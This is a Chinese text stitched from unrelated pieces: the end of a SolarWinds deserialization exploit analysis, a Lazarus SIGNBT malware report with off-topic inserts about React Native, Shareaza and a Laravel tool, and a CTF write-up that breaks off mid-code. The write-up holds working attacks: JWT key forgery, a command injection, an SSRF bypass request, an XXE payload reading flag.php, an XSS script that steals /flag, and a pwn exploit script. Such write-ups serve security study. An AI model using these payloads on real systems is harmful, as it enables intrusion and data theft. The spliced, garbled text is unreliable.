在[1]處,定義了ReadXml方法,它將在反序列化期間被調用;在[2]處,代碼遍歷所提供的項;在[3]處,檢索到關鍵元素。如果存在,則繼續執行代碼;在[4]處,檢索type元素的值。人們可以放心地猜測它接下來如何執行;在[5]處,檢索到value元素;在[6]處,調用Deserialize方法,輸入值和類型標記中包含的數據;在[7]處,序列化的有效負載和類型名稱被傳播給SolarWinds.InformationService.Serialization.SerializationHelper.Deserialize方法。

同樣,類型和序列化的有效負載都由攻擊者控制。讓我們檢查一下這個反序列化方法。在[1]處,代碼檢查所提供的類型是否被緩存。如果不是,則從[2]處的字符串中檢索類型。在[3]處,調用靜態的DeserializeFromStrippedXml。靜態的DeserializeFromStrippedXml方法通過調用SerializationHelper.serializerCache.GetSerializer(type)來檢索序列化器對象。然後,它在檢索到的序列化器對像上調用(非靜態)DeserializeFromStrippedXml(string)方法。

如何檢索序列化器在[1]處,代碼嘗試從緩存中檢索序列化器。在緩存缺失的情況下,它通過調用GetSerializerInternal([2])來檢索序列化器,因此我們繼續使用GetSerializerInternal進行調查。

在[3]處,根據攻擊者控制的類型檢索XmlTypeMapping。它沒有執行任何安全措施。它僅用於檢索關於給定類型的一些基本信息。

在[4]處,初始化XmlStrippedSerializer對象。為構造函數提供了四個參數:

1.一個新的XmlSerializer實例,其中序列化器的類型由攻擊者控制。

2.目標類型的XsdElementName,從XmlTypeMapping獲得。

3.該類型的Namespace,也是從XmlTypeMapping獲得的。

4.類型本身。

到目前為止,我們可以發現:

1.我們正在切換反序列化器。使用DataContractSerializer對整個SWIS動詞有效負載和參數進行反序列化。但是,PropertyBag對象最終將使用XmlSerializer進行反序列化。

2.我們完全控制提供給XmlSerializer構造函數的類型,這是利用它的關鍵條件。

似乎我們有它,通過反序列化中的類型控制的另一個RCE。由於XmlSerializer可能會通過ObjectDataProvider被濫用,我們可以將目標反序列化類型設置為以下類型:

3.png

但是,在成功利用漏洞之前,還有必要分析XmlStrippedSerializer.DeserializeFromStrippedXml(String) 。

可以發現,在[1]處,正在創建一個新的XML字符串。它的結構如下:

4.png

綜上所述:

1.攻擊者的XML被一個從傳播的類型派生的標記封裝,請參閱GetSerializerInternal方法。

2.檢索到的Namespace被插入到xmlns屬性中。攻擊者控制最終XML的主要片段並控制類型。然而,由於自定義的XML封裝,ysosserial.netgadget將無法開箱即用。

生成的gadget如下所示:

第一個標記等於ExpandedWrapperOfLosFormatterObjectDataProvider。此標記將由DeserializeFromStripedXml方法自動生成,因此我們需要將其從生成的有效負載中刪除!當我們這樣做時,下面的XML將被傳播給XmlSerializer.Deserialize方法。

當你比較原始的ysosserial.net gadget和我們當前的gadget時,可以發現一個很大的區別:

1.原始gadget在根標記中定義了兩個名稱空間:xsi和xsd。

2.當前gadget僅包含一個空xmlns屬性。

ObjectInstance標記依賴於xsi命名空間。因此,反序列化將失敗。

幸運的是,不必在根標籤(roottag)中專門定義命名空間,RootTag是用於標記React Native 原生根視圖層的不透明標識符(opaque identifier)。因此,我們可以通過在ProjectedProperty0標記中定義這兩個名稱空間來修復gadget。

通過這種方式,我們得到了第三個RCE,這樣,我們就完全控制了目標反序列化類型。

CVE-2022-36964技術層面,該漏洞與CVE-2022-36958相同,但是,它存在於共享ReadXml方法的相同實現的不同類中。在本例中,易受攻擊的類是SolarWinds.InformationService.Contract2.PropertyBag。

TestAlertingAction SWIS動詞接受此類型的參數,因此該漏洞可通過API加以利用。

總結我們在本文介紹了SolarWinds中的四個不同的反序列化漏洞,攻擊者可以使用這些漏洞控制反序列化對象的類型,以及介紹瞭如何通過使用自定義反序列化gadget繞過它們。目前,SolarWinds也對這些繞過進行了修復。

sl-abstract-malicious-binary-code-1200-1200x600.jpg今年上半年,一家軟件供應商受到了Lazarus惡意軟件的攻擊,該惡意軟件是通過未打補丁的正版軟件傳播的。值得注意的是,這些軟件漏洞並不是新的,儘管供應商發出了警告和補丁,但許多供應商的系統仍繼續使用有漏洞的軟件,允許攻擊者利用它們。幸運的是,研究人員的主動響應發現了對另一個供應商的攻擊,並有效地挫敗了攻擊者的努力。

經過進一步調查,研究人員發現開發被利用軟件的軟件供應商之前曾多次成為Lazarus的受害者。這種反復出現的漏洞表明,一個持久的攻擊者的目標可能是竊取有價值的源代碼或篡改軟件供應鏈,他們繼續利用公司軟件中的漏洞,同時瞄准其他軟件製造商。

1.png

攻擊時間

攻擊者表現出了高度的複雜性,採用了先進的逃避技術,並引入了SIGNBT惡意軟件來控制受害者。此外,在內存中發現的其他惡意軟件包括Lazarus著名的LPEClient,這是一種以受害者分析和有效負載傳播而聞名的工具,此前曾在針對國防承包商和加密貨幣行業的攻擊中被觀察到。

執行情況如下:

1.一個軟件供應商通過利用另一個備受矚目的軟件而受到威脅。

2.這次攻擊中使用的SIGNBT惡意軟件採用了多種攻擊鍊和複雜的技術。

3.在這次攻擊中使用的LPEClient被觀察到執行一系列與Lazarus組織相關的目標攻擊。

SIGNBT加載程序在2023年7月中旬,研究人員發現了一系列針對幾名受害者的攻擊,這些攻擊是通過合法的安全軟件進行的,這些軟件旨在使用數字證書加密網絡通信。該軟件被利用來傳遞惡意軟件的確切方法仍然難以捉摸。然而,研究人員在正版軟件的進程中發現了利用後的活動。

在檢查受害者係統中受攻擊安全軟件的內存時,研究人員發現了帶有shellcode的SIGNBT惡意軟件的存在,這個shellcode負責直接在內存中啟動Windows可執行文件。

攻擊者使用各種策略在受攻擊系統上建立和維護持久性。這包括在系統文件夾中創建一個名為ualapi.dll的文件,該文件在每次系統引導時由spoolsv.exe進程自動加載。此外,在幾個樣本中,記錄了註冊表項以執行合法文件,以進行惡意的側加載,從而進一步確保了持久性攻擊機制。

2.png

加載最終有效負載方法

利用spoolsv.exe進程進行劫持是Lazarus的長期策略。每次重啟後自動加載ualapi.dll文件並不是這個攻擊者獨有的新技術,研究人員在過去看到過類似的策略被Gopuram惡意軟件使用。

惡意的ualapi.dll文件是使用名為Shareaza Torrent Wizard的公開源代碼開發的,shareaza是一款在國外評價極高並且相當流行的開放源代碼的p2p軟件(簡稱raza),Shareaza集合了edonkey、gnutella(1和2)和bt四種流行p2p網絡類型,並可以用於http下載,在以後的版本將會支持ftp下載,由於其優秀的界面(支持換膚)、簡潔的操作以及極強的可製定性,所以在國外廣為流傳,其評價已躍居所有p2p軟件的前5之列,並且許多p2p的下載站點已將其指定為bt的官方下載工具。

Wizard 是基於Laravel開發框架開發的一款開源項目(API)文檔管理工具。 目前支持三種類型的文檔管理Markdown。它遵循典型的Lazarus組織攻擊方法,利用公共源代碼作為基礎,並向其中註入特定的惡意功能。這個加載程序惡意軟件有一個程序來驗證受害者,它通過從Windows註冊表中讀取受害者的MachineGuid來查看其是否存在其中,然後將其與嵌入的MachineGuid值進行比較。為了訪問這個嵌入式MachineGuid值,惡意軟件定位序列“43 EB 8C BD 1D 98 3D 14”,並讀取緊隨其後的DWORD。只有當受害者的MachineGuid與預期的匹配時,惡意軟件才會進行下一步。然後,惡意軟件從硬編碼的文件路徑讀取有效負載並繼續其惡意活動。

1.有效負載路徑:C:\Windows\system32\config\systemprofile\appdata\Local\tw-100a-a00-e14d9.tmp

加載程序進程從tw-100a-a00-e14d9.tmp中檢索前32個字節,並使用該數據作為AES解密密鑰來解密其餘內容。一旦解密,負載(標識為SIGNBT的Windows可執行文件)將直接加載到內存中。在這種情況下,加載的有效負載也從相同的路徑讀取配置文件,但文件名略有不同。

配置文件:C:\Windows\system32\config\systemprofile\appdata\Local\tw-100b-a00-e14d9.tmp,

該文件內部是一個base64編碼的字符串,這與之前的SIGNBT惡意軟件方法中使用的方法類似。該字符串的前32個字符作為AES解密密鑰,後面的數據包含惡意軟件使用的配置信息。解密後的配置數據包括三個C2地址(稱為代理)、睡眠間隔、版本信息、監視的目標以及對惡意軟件操作至關重要的各種其他參數等詳細信息。

SIGNBT大多數SIGNBT惡意軟件樣本是通過惡意軟件加載程序啟動的,該加載程序只在內存中運行。在執行時,惡意軟件在初始化其配置數據後,通過發送信標開始與C2服務器通信。在其C2通信中,惡意軟件使用以SIGNBT開頭的獨特字符串。這一獨特的特點為它贏得了SIGNBT的稱號。此外,惡意軟件在其C2操作的每個階段使用不同的前綴來驗證和維護其活動。

3.png

惡意軟件採用多步驟過程來創建一個24字節的值,用於各種目的。首先,它通過以下組件生成這個值:

1.8字節的硬編碼值(SIGNBTLG):這是值的固定部分,用於驗證客戶端連接的合法性。

2.主機名MD5哈希的8個字節:包括受害者計算機名MD5哈希的前8個字節,有助於區分每個受害者。

3.隨機生成的8字節標識符:另外8字節隨機生成,可能用於會話標識符。

在創建了這個24字節的值之後,惡意軟件會生成另外24字節的隨機數據。然後使用另一個隨機生成的24字節密鑰將這兩組24字節組合在一起。隨後,結果值和24字節密鑰都用base64編碼。最後,將這些編碼值與三個或七個隨機生成的HTTP參數名組合在一起。在未來的所有C2通信中,惡意軟件使用類似的結構,這使得檢測和分析其通信更具挑戰性。

4.png

HTTP POST數據結構

惡意軟件使用一種機制來驗證從C2服務器接收到的響應數據。具體來說,它檢查響應數據是否包含硬編碼的HTML腳本。

5.png

在驗證過程中,惡意軟件使用base64解碼來自C2服務器的前12個字節,用加號替換空格以創建一個7個字符的字符串,然後對接下來的12個字節重複此過程。然後將每個集合中的前七個字符異或處理並與“success”字符串進行比較,此重複過程應用於每個HTTP通信序列,以驗證響應是否符合預期的“success”標準。

接下來,惡意軟件發送帶有SIGNBTKE頭的HTTP請求,如果它收到來自C2服務器的“success”消息,它會激活CCBrush類中的getInfo函數。該功能收集受害者計算機的各種信息,如計算機名稱、產品名稱、操作系統詳細信息、系統正常運行時間、CPU信息、系統區域設置、時區、網絡狀態和惡意軟件配置數據。在發送此特定於系統的信息之後,惡意軟件發送另一個帶有SIGNBTGC前綴的HTTP請求,這次使用從100個可能的參數名稱列表中隨機選擇的嵌入式HTTP參數。

6.png

使用AES和從SIGNBTLG HTTP請求獲得的解密密鑰對從C2服務器接收到的數據進行解密。如果解密的數據是“keep”,惡意軟件使用SIGNBTSR前綴響應“OK”消息,表示通信成功。如果存在問題,惡意軟件使用SIGNBTFI前綴來傳達問題或通信失敗的性質。綜上所述,C2通信過程可以描述如下:

7.png

C2通信過程

如果傳遞的數據不等於“keep”,表明需要特定的指令或操作,則惡意軟件繼續調用相應的類和函數進行後門攻擊,SIGNBT惡意軟件配備了一套廣泛的功能,旨在對受害者的系統施加控制。為了執行這些功能,惡意軟件以類名、函數名和任何必要參數的形式從C2服務器接收指令。然後,它執行嵌入在惡意軟件代碼庫中的相關功能。

8.png

每個後門命令的名稱都很簡單,實現了常用的Windows命令,如ping、netstat和systeminfo。需要注意的是,後門能夠為自動執行植入額外的有效負載,內部命名為“deploy”。這個後門函數通過使用AES解密的命令行參數接收文件路徑,使用這個命令,可以觀察到SIGNBT植入瞭如上所述的SIGNBT加載程序部分已經描述過的魔幻DLL。

經過分析,攻擊者最初對受害者的攻擊涉及利用軟件漏洞,然後,他們開始使用DLL側加載技術部署SIGNBT惡意軟件。此外,攻擊者使用後門功能“deploy”來為自動執行植入額外的有效負載。這種多方面的攻擊表明了攻擊的高度複雜程度。

LPEClient使用如上所述的綜合後門,攻擊者在受害者的內存中部署了額外的惡意軟件。值得注意的是,這些新發布的惡意軟件變體主要只在系統內存中執行,而不干擾磁盤。根據研究人員的追踪分析,他們已經觀察到攻擊者向受害者設備提供了LPEClient和憑據轉儲實用程序等工具。

9.png

SIGNBT提供的額外有效負載

LPEClient惡意軟件並不新鮮,最早是在2020年對國防承包商攻擊的調查中發現的,它旨在收集受害者信息並從遠程服務器下載額外的有效負載以在內存中運行。雖然之前已經有過報導,但最近的發現表明LPEClient已經發生了重大的迭代。它現在採用先進的技術來改進其隱身性並避免檢測,例如禁用用戶模式系統調用掛鉤和恢復系統庫內存部分。這表明攻擊者在不斷努力提高其惡意軟件的複雜性和有效性。

與其他攻擊活動的聯繫此次攻擊中使用的一種名為LPEClient的惡意軟件在最近被認為是Lazarus組織開發的表現最為突出的攻擊活動。這種特殊的惡意軟件一直作為初始攻擊載體,加速了有效負載的傳播。在很長一段時間裡,專門針對國防承包商和核工程師。

在最近的一次事件中,攻擊者通過木馬化的VNC或Putty客戶端發送LPEClient進行中間攻擊,從而攻擊目標。另一個針對加密貨幣行業的活動是在2023年7月發現的,在這個以經濟動機的攻擊活動中,攻擊者利用了與3CX供應鏈攻擊有關的Gopuram惡意軟件。有趣的是,在該樣本中,攻擊者還使用了LPEClient惡意軟件。在引入Gopuram集群之前,LPEClient被用於傳播後續的惡意軟件。這三個被認為是Lazarus在2023年發起的攻擊,說明了不同的初始攻擊載體和攻擊鏈,但它們始終依賴於LPEClient惡意軟件來傳遞最終的有效負載。

10.png

2023年Lazarus攻擊的三此活動的攻擊鏈

總結在當今的網絡安全領域,Lazarus組織仍然是一個高度活躍和多才多藝的攻擊者。攻擊者已經展示了對IT環境的深刻理解,改進了他們的策略,包括利用高知名度軟件中的漏洞,這種方法允許他們在初始攻擊完成後有效地傳播惡意軟件。此外,這個臭名昭著的攻擊者的活動超越了地理界限和行業部門,他們針對不同的行業有不同的目標,使用不同的工具、戰術和技術,這突出表明他們最近的活動具有復雜的方法和明確的動機。

一、青龙组WEB

web1

开局随便随便输入都可以登录,登上去以后生成了一个token和一个session,一个是jwt一个是flask框架的

这边先伪造jwt,是国外的原题

CTFtime.org / DownUnderCTF 2021 (线上) / JWT / Writeup

先生成两个token,然后利用rsa_sign2n工具来生成公钥

  python3 jwt_forgery.py eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFhYWFhIn0.EnToBP4kzW6jbUqkC7fjt-FcCq9mOMhKWRqKpo12BsG464YTX2QNiBLuzgqJhnDlGF2Ukqb6oWXhFm0qiKrbg1skUb0FO2kMBkEvRLpyGJ7tXOzcndGDl-egaMa-mSN321RNW-aiCKJsij5Tf0HzQgBU8UCg1Zd8uJaybcj3oXOi eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImEifQ.IUanU3g_ZtyPjDnOJ9gockfRo1oOQLmQT0To_WYLi9I9PluHxbBId5d2wFiF-sIhGPuDtzPvShiE1ao0qnMlp3X7pVf-Qb-juaslvbnpR1rCKH2D3Kq4u1d2wEDvsgWVtjYA6s5NXrvJpzDcpZlzmx_6Ywn8caqVQ3kjlTv87OKO

img

得到public key

-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgSSlUMfCzg/ysG4ixoi6NKGuWNnv
IpZZTRNa045eH2xzzY/ZyRwDojStMH5wxG6nOVvNAY/ETx2XPPC6J1J//nzC1fAN
MNCYRa47xIW0RwZBDSABcGnwu3QP2nr7AR0/tZmSClncdwA7RKzlJM8Fs7Zmb502
ZMSv0AxMgN5UMh9FCwIDAQAB
-----END PUBLIC KEY-----

然后利用RsaCtfTool得到私钥

img

-----BEGIN RSA PRIVATE KEY-----
MIICoQIBAAKBgSSlUMfCzg/ysG4ixoi6NKGuWNnvIpZZTRNa045eH2xzzY/ZyRwD
ojStMH5wxG6nOVvNAY/ETx2XPPC6J1J//nzC1fANMNCYRa47xIW0RwZBDSABcGnw
u3QP2nr7AR0/tZmSClncdwA7RKzlJM8Fs7Zmb502ZMSv0AxMgN5UMh9FCwIDAQAB
AoGBC5/r+nCv2+uWXTjL8i6UJtLIfdOssxKbJNiIKLXQh3l8IAAfx1i9ktxYEICW
TcGTUkx9gjd+xUwo0KOKjcg3hZc7bEfLkiOsK8dSwsPFEXYQpCE1EFokhkc9Rbiq
URC9QIrQjtzf5vdU2usj5ddRGtqtmpXm/ibU1TLPIsy8Y5TJAoGBAP2Mj8b+pnwu
SCp0EYh99ogr6jblQlVwySv34UDQarcFjkQoB60SOMZpGCyPr/auhfDIsNvKyXLK
S7IBEBFMETWywUx28OGFV7xtGF7RfLWmaKYXy4ML/DfHonV8khZ6h5wpyxPL3Wli
uJCSSsjNgXhj4aeGLtRRuySpiXflrdFvAgElAoGBALrhzOO+tJWZQ2XPMVEqjvjl
bXfS2WbCf/Theuzb8Zw/AxJncuj1IlXUBpZpvigTkPPd6MXIHV13j/1+3QnyyEiN
Hf6vOHLxZq6itrDEtafqJP4vUbigr+GpSqxQChl5bNUE1QMdY3AW7LTarzZ8iq5i
6GMi+wdRyp+GOqXd65UPAgERAoGAUjts5pfHSt6T8hfOVcf87eS6qgUqRTlWAGwR
tCfrQkb9tT1qRfgSadzlPuJ+QirDqAm80amNcVZdvTDG8NpmckfP/R+oEcphpOUc
qSFY4PezPMlyb7DcLcQ0sHttpmztthtkdR+GFFdedBPFOjTQC16qDNGSpbmkepfZ
jqta99E=
-----END RSA PRIVATE KEY-----

接着直接伪造jwt即可,成功伪造了用户名为admin

可以访问game路由使用功能,这里又是国外原题

AIS3-pre-exam-2024-Writeup | 堇姬 Naup's Blog

利用emo表情构造出cd flag;p:|cat *

  

直接读源码,可以得到secret_key为36f8efbea152e50b23290e0ed707b4b0

那么直接伪造

img

然后就可以使用上传文件的功能,我们先审计一下这部分的源码

@app.route('/upload', methods=['GET', 'POST'])
def upload():
token = request.cookies.get('token')
if not token:
flash('Please login first', 'warning')
return redirect(url_for('login'))
payload = decode_jwt(token)
form = UploadForm()
if not payload or payload['username'] != 'admin':
error_message = 'You do not have permission to access this page.Your username is not admin.'
return render_template('upload.html', form=form, error_message=error_message, username=payload['username'])
if not session['role'] or session['role'] != 'admin':
error_message = 'You do not have permission to access this page.Your role is not admin.'
return render_template('upload.html', form=form, error_message=error_message, username=payload['username'])


if form.validate_on_submit():
file = form.avatar.data
if file:
filename = secure_filename(file.filename)
files = {'file': (filename, file.stream, file.content_type)}
php_service_url = 'http://127.0.0.1/upload.php'
response = requests.post(php_service_url, files=files)
if response.status_code == 200:
flash(response.text, 'success')
else:
flash('Failed to upload file to PHP service', 'danger')
return render_template('upload.html', form=form)

@app.route('/view_uploads', methods=['GET', 'POST'])
def view_uploads():
token = request.cookies.get('token')
form = GameForm()
if not token:
error_message = 'Please login first'
return render_template('view_uploads.html', form=form, error_message=error_message)
payload = decode_jwt(token)
if not payload:
error_message = 'Invalid or expired token. Please login again.'
return render_template('view_uploads.html', form=form, error_message=error_message)
if not payload['username']=='admin':
error_message = 'You do not have permission to access this page.Your username is not admin'
return render_template('view_uploads.html', form=form, error_message=error_message)
user_input = None
if form.validate_on_submit():
filepath = form.user_input.data
pathurl = request.form.get('path')
if ("www.testctf.com" not in pathurl) or ("127.0.0.1" in pathurl) or ('/var/www/html/uploads/' not in filepath) or ('.' in filepath):
error_message = "www.testctf.com must in path and /var/www/html/uploads/ must in filepath."
return render_template('view_uploads.html', form=form, error_message=error_message)
params = {'s': filepath}
try:
response = requests.get("http://"+pathurl, params=params, timeout=1)
return render_template('view_uploads.html', form=form, user_input=response.text)
except:
error_message = "500! Server Error"
return render_template('view_uploads.html', form=form, error_message=error_message)
return render_template('view_uploads.html', form=form, user_input=user_input)

这里面80端口有个php服务,然后/upload路由可以上传文件到uplaods目录下,在view_uploads路由下可以查看,但是存在waf

if ("www.testctf.com" not in pathurl) or ("127.0.0.1" in pathurl) or ('/var/www/html/uploads/' not in filepath) or ('.' in filepath):

这里必须包含这个域名,而且不能有127.0.0.1,那么这里可以用0.0.0.0来代替127.0.0.1,用ssrf中的跳转来绕过域名限制

POST /view_uploads HTTP/1.1
Host: 0192d68dfb217833b65d0adeec06784b.zeuo.dg01.ciihw.cn:45732
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 211
Origin: http://0192d68dfb217833b65d0adeec06784b.zeuo.dg01.ciihw.cn:45732
Connection: close
Referer: http://0192d68dfb217833b65d0adeec06784b.zeuo.dg01.ciihw.cn:45732/view_uploads
Cookie: session=eyJjc3JmX3Rva2VuIjoiYmQyNTJlZDZlYTQ5ZmJmOWQyZjJjMmQ0YTBlNjc1YzJhYzlmNmU5MyIsInJvbGUiOiJhZG1pbiJ9.ZyBmXg.eLZ3Z69hYgP6lG3vjiMNsKTLCno; token=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.DNqIFNdFOWgGGnuk95SQa5GdU_D6TDv95lTU97wUP8ekgqX6zrnvvsnp8XkvVfSx0g3xVQqbo5xhdxjNpM8LiiwX_kQ8FO8t0q0qBn1RJ5O2bGkGOZsUWAUrKg7ME6L4-XFiXi7P328f1t4En_kSp91SeS7-9Lcn7Ja__IJbRuH1
Upgrade-Insecure-Requests: 1
Priority: u=0, i

csrf_token=ImJkMjUyZWQ2ZWE0OWZiZjlkMmYyYzJkNGEwZTY3NWMyYWM5ZjZlOTMi.ZyBmag.RCasLc0XUU8ep682nDtSZ5PeqsQ&path=www.testctf.com@0.0.0.0&user_input=/var/www/html/uploads/60edfb32093e262bfccda5496e1cdaa8&submit=Submit

那么可以先随便上传一个文件,然后读取,发现会报Failed to load XML file,猜测会解析xml,直接打xxe,但是过滤了system等许多关键字,那么采用utf-16编码绕过,直接读flag.php文件

<?xml version="1.0" ?>
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/flag.php"> ]>
<userInfo>
<firstName>John</firstName>
<lastName>&example;</lastName>
</userInfo>

iconv -f utf8 -t utf16 1.xml>3.xml

然后上传3.xml,再去读取,得到flag

img

web2

打开容器一个登录界面,随便输入账号密码可以进到漏洞界面

这里有一个发送给boss的功能,一眼xss

然后访问/flag,需要boss才能访问,这里我们就可以提交一个xss,然后让boss先访问/flag,再把数据带给我们的content里面

<script>var xmlhttp = new XMLHttpRequest();
xmlhttp.withCredentials = true;

xmlhttp.onreadystatechange = function() {
if (xmlhttp.readyState == 4 && xmlhttp.status == 200) {
var flagData = xmlhttp.responseText;
var flag1 = btoa(flagData);
var remoteServerUrl = '/content/4a95828e3f0037bfe446ae0e693912df';
var xmlhttp2 = new XMLHttpRequest();
xmlhttp2.open("POST", remoteServerUrl, true);
xmlhttp2.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xmlhttp2.send("content=" + encodeURIComponent(flag1))
}
};
xmlhttp.open('GET', '/flag', true);
xmlhttp.send();</script>

img

更新任务后,发送给boss

img

接着回到页面可以看到flag已经发过来了

img

PWN

PWN2

Image

开始有一个登录的函数,然后只要拿到用户名和密码就可以进入

Image

vuln函数存在两个字节的溢出,还将buf的地址给泄露出来了

Image

还有给了我们后门函数和/bin/sh字符串

Image

Image

完整exp

from pwn import *            
elf = ELF("./short")
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'
# libc = ELF('./libc.so.6')
flag=0
url='0192d6093a297e5e9de02a5fc5bb4757.tdfi.dg01.ciihw.cn'
port=45740
if flag:
p = process(elf.path)
else:
p = remote(url,port)
sa = lambda x,y:p.sendafter(x,y)
sla = lambda x,y:p.sendlineafter(x,y)
it = lambda : p.interactive()
uu32 = lambda : u32(p.recvuntil('\xff')[-4:].ljust(4,'\x00'))
uu64 = lambda : u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
ru = lambda x :p.recvuntil(x)
rc = lambda x :p.recv(x)
sd = lambda x:p.send(x)
sl = lambda x:p.sendline(x)
lg = lambda s : log.info('\x1b[01;38;5;214m %s --> 0x%x \033[0m' % (s, eval(s)))

sla('Enter your username: ','admin')
sla('Enter your password: ','admin123')
leave_ret=0x08048555 #: leave ; ret
bss=elf.bss(0x300)
read=0x0804865A
ebp=0x0804884b #: pop ebp ; ret
ru('You will input this: ')
stack=int(rc(10),16)
lg('stack')
pay=p32(0x080484A0)+p32(0x0804A038)*2
pay=pay.ljust(0x50,'\x00')+p32(stack)+p32(0x080485FA)
# gdb.attach(p,'b *0x08048674\nc')
# pause()
sa('your msg:\n',pay)
# pay='sh\x00\x00'*20+p32(0x080485FA)+p32(read)
# sd(pay)
# pay=
it()

Image

CRYPT

CRYPTO01

Image

这题目参考领航杯(https://www.cnblogs.com/mumuhhh/p/17789591.html

然后我们直接sage解密,我们只用替换我们直接的数据就可以


import time
time.clock = time.time

debug = True

strict = False

helpful_only = True
dimension_min = 7 # 如果晶格达到该尺寸,则停止移除
# 显示有用矢量的统计数据
def helpful_vectors(BB, modulus):
nothelpful = 0
for ii in range(BB.dimensions()[0]):
if BB[ii,ii] >= modulus:
nothelpful += 1
# print (nothelpful, "/", BB.dimensions()[0], " vectors are not helpful")

# 显示带有 0 和 X 的矩阵
def matrix_overview(BB, bound):
for ii in range(BB.dimensions()[0]):
a = ('%02d ' % ii)
for jj in range(BB.dimensions()[1]):
a += '0' if BB[ii,jj] == 0 else 'X'
if BB.dimensions()[0] < 60:
a += ' '
if BB[ii, ii] >= bound:
a += '~'
#print (a)

# 尝试删除无用的向量
# 从当前 = n-1(最后一个向量)开始
def remove_unhelpful(BB, monomials, bound, current):
# 我们从当前 = n-1(最后一个向量)开始
if current == -1 or BB.dimensions()[0] <= dimension_min:
return BB

# 开始从后面检查
for ii in range(current, -1, -1):
# 如果它没有用
if BB[ii, ii] >= bound:
affected_vectors = 0
affected_vector_index = 0
# 让我们检查它是否影响其他向量
for jj in range(ii + 1, BB.dimensions()[0]):
# 如果另一个向量受到影响:
# 我们增加计数
if BB[jj, ii] != 0:
affected_vectors += 1
affected_vector_index = jj

# 等级:0
# 如果没有其他载体最终受到影响
# 我们删除它
if affected_vectors == 0:
#print ("* removing unhelpful vector", ii)
BB = BB.delete_columns([ii])
BB = BB.delete_rows([ii])
monomials.pop(ii)
BB = remove_unhelpful(BB, monomials, bound, ii-1)
return BB

# 等级:1
#如果只有一个受到影响,我们会检查
# 如果它正在影响别的向量
elif affected_vectors == 1:
affected_deeper = True
for kk in range(affected_vector_index + 1, BB.dimensions()[0]):
# 如果它影响哪怕一个向量
# 我们放弃这个
if BB[kk, affected_vector_index] != 0:
affected_deeper = False
# 如果没有其他向量受到影响,则将其删除,并且
# 这个有用的向量不够有用
#与我们无用的相比
if affected_deeper and abs(bound - BB[affected_vector_index, affected_vector_index]) < abs(bound - BB[ii, ii]):
#print ("* removing unhelpful vectors", ii, "and", affected_vector_index)
BB = BB.delete_columns([affected_vector_index, ii])
BB = BB.delete_rows([affected_vector_index, ii])
monomials.pop(affected_vector_index)
monomials.pop(ii)
BB = remove_unhelpful(BB, monomials, bound, ii-1)
return BB
# nothing happened
return BB

"""
Returns:
* 0,0 if it fails
* -1,-1 如果 "strict=true",并且行列式不受约束
* x0,y0 the solutions of `pol`
"""
def boneh_durfee(pol, modulus, mm, tt, XX, YY):
"""
Boneh and Durfee revisited by Herrmann and May

在以下情况下找到解决方案:
* d < N^delta
* |x|< e^delta
* |y|< e^0.5
每当 delta < 1 - sqrt(2)/2 ~ 0.292
"""

# substitution (Herrman and May)
PR.<u, x, y> = PolynomialRing(ZZ) #多项式环
Q = PR.quotient(x*y + 1 - u) # u = xy + 1
polZ = Q(pol).lift()

UU = XX*YY + 1

# x-移位
gg = []
for kk in range(mm + 1):
for ii in range(mm - kk + 1):
xshift = x^ii * modulus^(mm - kk) * polZ(u, x, y)^kk
gg.append(xshift)
gg.sort()

# 单项式 x 移位列表
monomials = []
for polynomial in gg:
for monomial in polynomial.monomials(): #对于多项式中的单项式。单项式():
if monomial not in monomials: # 如果单项不在单项中
monomials.append(monomial)
monomials.sort()

# y-移位
for jj in range(1, tt + 1):
for kk in range(floor(mm/tt) * jj, mm + 1):
yshift = y^jj * polZ(u, x, y)^kk * modulus^(mm - kk)
yshift = Q(yshift).lift()
gg.append(yshift) # substitution

# 单项式 y 移位列表
for jj in range(1, tt + 1):
for kk in range(floor(mm/tt) * jj, mm + 1):
monomials.append(u^kk * y^jj)

# 构造格 B
nn = len(monomials)
BB = Matrix(ZZ, nn)
for ii in range(nn):
BB[ii, 0] = gg[ii](0, 0, 0)
for jj in range(1, ii + 1):
if monomials[jj] in gg[ii].monomials():
BB[ii, jj] = gg[ii].monomial_coefficient(monomials[jj]) * monomials[jj](UU,XX,YY)

#约化格的原型
if helpful_only:
# #自动删除
BB = remove_unhelpful(BB, monomials, modulus^mm, nn-1)
# 重置维度
nn = BB.dimensions()[0]
if nn == 0:
print ("failure")
return 0,0

# 检查向量是否有帮助
if debug:
helpful_vectors(BB, modulus^mm)

# 检查行列式是否正确界定
det = BB.det()
bound = modulus^(mm*nn)
if det >= bound:
print ("We do not have det < bound. Solutions might not be found.")
print ("Try with highers m and t.")
if debug:
diff = (log(det) - log(bound)) / log(2)
print ("size det(L) - size e^(m*n) = ", floor(diff))
if strict:
return -1, -1
else:
print ("det(L) < e^(m*n) (good! If a solution exists < N^delta, it will be found)")

# display the lattice basis
if debug:
matrix_overview(BB, modulus^mm)

# LLL
if debug:
print ("optimizing basis of the lattice via LLL, this can take a long time")

#BB = BB.BKZ(block_size=25)
BB = BB.LLL()

if debug:
print ("LLL is done!")

# 替换向量 i 和 j ->多项式 1 和 2
if debug:
print ("在格中寻找线性无关向量")
found_polynomials = False

for pol1_idx in range(nn - 1):
for pol2_idx in range(pol1_idx + 1, nn):

# 对于i and j, 构造两个多项式

PR.<w,z> = PolynomialRing(ZZ)
pol1 = pol2 = 0
for jj in range(nn):
pol1 += monomials[jj](w*z+1,w,z) * BB[pol1_idx, jj] / monomials[jj](UU,XX,YY)
pol2 += monomials[jj](w*z+1,w,z) * BB[pol2_idx, jj] / monomials[jj](UU,XX,YY)

# 结果
